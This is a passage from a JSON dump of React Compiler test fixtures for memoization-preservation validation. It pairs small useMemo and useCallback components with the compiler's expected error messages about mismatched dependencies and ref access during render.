    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {identity, mutate} from 'shared-runtime';\n\nfunction useHook(propA, propB) {\n  return useCallback(() => {\n    const x = {};\n    if (identity(null) ?? propA.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA.a, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 1}, {x: {y: 3}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is already unsound in source, so we can safely bailout\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n\n  // makeArray() is captured, but depsList contains [props]\n  const cb = useCallback(() => [x], [x]);\n\n  x = makeArray();\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.invalid-useCallback-captures-reassigned-context.ts:12:37\n  10 |\n  11 |   // makeArray() is captured, but depsList contains [props]\n> 12 |   const cb = useCallback(() => [x], [x]);\n     |                                      ^ This dependency may be modified later\n  13 |\n  14 |   x = makeArray();\n  15 |\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.invalid-useCallback-captures-reassigned-context.ts:12:25\n  10 |\n  11 |   // makeArray() is captured, but depsList contains [props]\n> 12 |   const cb = useCallback(() => [x], [x]);\n     |                          ^^^^^^^^^ Could not preserve existing memoization\n  13 |\n  14 |   x = makeArray();\n  15 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\nimport {useCallback} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// This case is already unsound in source, so we can safely bailout\nfunction Foo(props) {\n  let x = [];\n  x.push(props);\n\n  // makeArray() is captured, but depsList contains [props]\n  const cb = useCallback(() => [x], [x]);\n\n  x = makeArray();\n\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees:true\n\nimport {useRef, useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\nfunction useFoo() {\n  const r = useRef();\n  return useMemo(() => makeArray(r), []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.maybe-mutable-ref-not-preserved.ts:8:33\n   6 | function useFoo() {\n   7 |   const r = useRef();\n>  8 |   return useMemo(() => makeArray(r), []);\n     |                                  ^ Passing a ref to a function may read its value during render\n   9 | }\n  10 |\n  11 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees:true\n\nimport {useRef, useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\nfunction useFoo() {\n  const r = useRef();\n  return useMemo(() => makeArray(r), []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useFoo({cond}) {\n  const ref1 = useRef<undefined | (() => undefined)>();\n  const ref2 = useRef<undefined | (() => undefined)>();\n  const ref = cond ? ref1 : ref2;\n\n  return useCallback(() => {\n    if (ref != null) {\n      ref.current();\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.\n\nerror.preserve-use-memo-ref-missing-reactive.ts:9:21\n   7 |   const ref = cond ? ref1 : ref2;\n   8 |\n>  9 |   return useCallback(() => {\n     |                      ^^^^^^^\n> 10 |     if (ref != null) {\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 11 |       ref.current();\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 12 |     }\n     | ^^^^^^^^^^^^^^^^^^^^^^\n> 13 |   }, []);\n     | ^^^^ Could not preserve existing manual memoization\n  14 | }\n  15 |\n  16 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useFoo({cond}) {\n  const ref1 = useRef<undefined | (() => undefined)>();\n  const ref2 = useRef<undefined | (() => undefined)>();\n  const ref = cond ? ref1 : ref2;\n\n  return useCallback(() => {\n    if (ref != null) {\n      ref.current();\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\n\n// False positive:\n// We currently bail out on this because we don't understand\n// that `() => [x]` gets pruned because `x` always invalidates.\nfunction useFoo(props) {\n  const x = [];\n  useHook();\n  x.push(props);\n\n  return useCallback(() => [x], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.todo-useCallback-captures-invalidating-value.ts:13:21\n  11 |   x.push(props);\n  12 |\n> 13 |   return useCallback(() => [x], [x]);\n     |                      ^^^^^^^^^ Could not preserve existing memoization\n  14 | }\n  15 |\n  16 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\n\n// False positive:\n// We currently bail out on this because we don't understand\n// that `() => [x]` gets pruned because `x` always invalidates.\nfunction useFoo(props) {\n  const x = [];\n  useHook();\n  x.push(props);\n\n  return useCallback(() => [x], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\n// This is technically a false positive, but source is already breaking\n// `exhaustive-deps` lint rule (and can be considered invalid).\nfunction useHook(x) {\n  const aliasedX = x;\n  const aliasedProp = x.y.z;\n\n  return useCallback(() => [aliasedX, x.y.z], [x, aliasedProp]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `aliasedX`, but the source dependencies were [x, aliasedProp]. Inferred different dependency than source.\n\nerror.useCallback-aliased-var.ts:9:21\n   7 |   const aliasedProp = x.y.z;\n   8 |\n>  9 |   return useCallback(() => [aliasedX, x.y.z], [x, aliasedProp]);\n     |                      ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing manual memoization\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\n// This is technically a false positive, but source is already breaking\n// `exhaustive-deps` lint rule (and can be considered invalid).\nfunction useHook(x) {\n  const aliasedX = x;\n  const aliasedProp = x.y.z;\n\n  return useCallback(() => [aliasedX, x.y.z], [x, aliasedProp]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    return {\n      value: propB?.x.y,\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB?.x.y`, but the source dependencies were [propA, propB.x.y]. Inferred different dependency than source.\n\nerror.useCallback-conditional-access-noAlloc.ts:5:21\n   3 |\n   4 | function Component({propA, propB}) {\n>  5 |   return useCallback(() => {\n     |                      ^^^^^^^\n>  6 |     return {\n     | ^^^^^^^^^^^^\n>  7 |       value: propB?.x.y,\n     | ^^^^^^^^^^^^\n>  8 |       other: propA,\n     | ^^^^^^^^^^^^\n>  9 |     };\n     | ^^^^^^^^^^^^\n> 10 |   }, [propA, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  11 | }\n  12 |\n  13 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    return {\n      value: propB?.x.y,\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    const x = {};\n    if (propA?.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA?.a, propB.x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA?.a, propB.x.y]. Inferred less specific property than source.\n\nerror.useCallback-infer-less-specific-conditional-access.ts:6:21\n   4 |\n   5 | function Component({propA, propB}) {\n>  6 |   return useCallback(() => {\n     |                      ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (propA?.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA?.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    const x = {};\n    if (propA?.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA?.a, propB.x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\nfunction Component({propA}) {\n  return useCallback(() => {\n    return propA.x();\n  }, [propA.x]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.\n\nerror.useCallback-property-call-dep.ts:5:21\n  3 |\n  4 | function Component({propA}) {\n> 5 |   return useCallback(() => {\n    |                      ^^^^^^^\n> 6 |     return propA.x();\n    | ^^^^^^^^^^^^^^^^^^^^^\n> 7 |   }, [propA.x]);\n    | ^^^^ Could not preserve existing manual memoization\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\nfunction Component({propA}) {\n  return useCallback(() => {\n    return propA.x();\n  }, [propA.x]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\n// This is technically a false positive, but source is already breaking\n// `exhaustive-deps` lint rule (and can be considered invalid).\nfunction useHook(x) {\n  const aliasedX = x;\n  const aliasedProp = x.y.z;\n\n  return useMemo(() => [x, x.y.z], [aliasedX, aliasedProp]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x`, but the source dependencies were [aliasedX, aliasedProp]. Inferred different dependency than source.\n\nerror.useMemo-aliased-var.ts:9:17\n   7 |   const aliasedProp = x.y.z;\n   8 |\n>  9 |   return useMemo(() => [x, x.y.z], [aliasedX, aliasedProp]);\n     |                  ^^^^^^^^^^^^^^^^ Could not preserve existing manual memoization\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-aliased-var.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\n// This is technically a false positive, but source is already breaking\n// `exhaustive-deps` lint rule (and can be considered invalid).\nfunction useHook(x) {\n  const aliasedX = x;\n  const aliasedProp = x.y.z;\n\n  return useMemo(() => [x, x.y.z], [aliasedX, aliasedProp]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    const x = {};\n    if (propA?.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA?.a, propB.x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA?.a, propB.x.y]. Inferred less specific property than source.\n\nerror.useMemo-infer-less-specific-conditional-access.ts:6:17\n   4 |\n   5 | function Component({propA, propB}) {\n>  6 |   return useMemo(() => {\n     |                  ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (propA?.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA?.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-access.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    const x = {};\n    if (propA?.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA?.a, propB.x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    const x = {};\n    if (identity(null) ?? propA.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA.a, propB.x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.\n\nerror.useMemo-infer-less-specific-conditional-value-block.ts:6:17\n   4 |\n   5 | function Component({propA, propB}) {\n>  6 |   return useMemo(() => {\n     |                  ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (identity(null) ?? propA.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.\n\nerror.useMemo-infer-less-specific-conditional-value-block.ts:6:17\n   4 |\n   5 | function Component({propA, propB}) {\n>  6 |   return useMemo(() => {\n     |                  ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (identity(null) ?? propA.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-infer-less-specific-conditional-value-block.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    const x = {};\n    if (identity(null) ?? propA.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA.a, propB.x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component({propA}) {\n  return useMemo(() => {\n    return {\n      value: propA.x().y,\n    };\n  }, [propA.x]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.\n\nerror.useMemo-property-call-chained-object.ts:5:17\n   3 |\n   4 | function Component({propA}) {\n>  5 |   return useMemo(() => {\n     |                  ^^^^^^^\n>  6 |     return {\n     | ^^^^^^^^^^^^\n>  7 |       value: propA.x().y,\n     | ^^^^^^^^^^^^\n>  8 |     };\n     | ^^^^^^^^^^^^\n>  9 |   }, [propA.x]);\n     | ^^^^ Could not preserve existing manual memoization\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-chained-object.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component({propA}) {\n  return useMemo(() => {\n    return {\n      value: propA.x().y,\n    };\n  }, [propA.x]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component({propA}) {\n  return useMemo(() => {\n    return propA.x();\n  }, [propA.x]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.\n\nerror.useMemo-property-call-dep.ts:5:17\n  3 |\n  4 | function Component({propA}) {\n> 5 |   return useMemo(() => {\n    |                  ^^^^^^^\n> 6 |     return propA.x();\n    | ^^^^^^^^^^^^^^^^^^^^^\n> 7 |   }, [propA.x]);\n    | ^^^^ Could not preserve existing manual memoization\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-property-call-dep.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction Component({propA}) {\n  return useMemo(() => {\n    return propA.x();\n  }, [propA.x]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// Here, Forget infers that the memo block dependency is input1\n// 1. StartMemoize is emitted before the function expression\n//    (and thus before the depslist arg and its rvalues)\n// 2. x and y's overlapping reactive scopes forces y's reactive\n//    scope to be extended to after the `mutate(x)` call, after\n//    the StartMemoize instruction.\n// While this is technically a false positive, this example would\n// already fail the exhaustive-deps eslint rule.\nfunction useFoo(input1) {\n  const x = {};\n  const y = [input1];\n  const memoized = useMemo(() => {\n    return [y];\n  }, [(mutate(x), y)]);\n\n  return [x, memoized];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.useMemo-unrelated-mutation-in-depslist.ts:18:14\n  16 |   const memoized = useMemo(() => {\n  17 |     return [y];\n> 18 |   }, [(mutate(x), y)]);\n     |               ^ Missing dependency `x`\n  19 |\n  20 |   return [x, memoized];\n  21 | }\n\nInferred dependencies: `[x, y]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-unrelated-mutation-in-depslist.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// Here, Forget infers that the memo block dependency is input1\n// 1. StartMemoize is emitted before the function expression\n//    (and thus before the depslist arg and its rvalues)\n// 2. x and y's overlapping reactive scopes forces y's reactive\n//    scope to be extended to after the `mutate(x)` call, after\n//    the StartMemoize instruction.\n// While this is technically a false positive, this example would\n// already fail the exhaustive-deps eslint rule.\nfunction useFoo(input1) {\n  const x = {};\n  const y = [input1];\n  const memoized = useMemo(() => {\n    return [y];\n  }, [(mutate(x), y)]);\n\n  return [x, memoized];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validatePreserveExistingMemoizationGuarantees\nimport {identity} from 'shared-runtime';\n\ncomponent Component(disableLocalRef, ref) {\n  const localRef = useFooRef();\n  const mergedRef = useMemo(() => {\n    return disableLocalRef ? ref : identity(ref, localRef);\n  }, [disableLocalRef, ref, localRef]);\n  return <div ref={mergedRef} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const localRef = useFooRef();\n   6 |   const mergedRef = useMemo(() => {\n>  7 |     return disableLocalRef ? ref : identity(ref, localRef);\n     |                                             ^^^ Passing a ref to a function may read its value during render\n   8 |   }, [disableLocalRef, ref, localRef]);\n   9 |   return <div ref={mergedRef} />;\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useMemo-with-refs.flow.js",
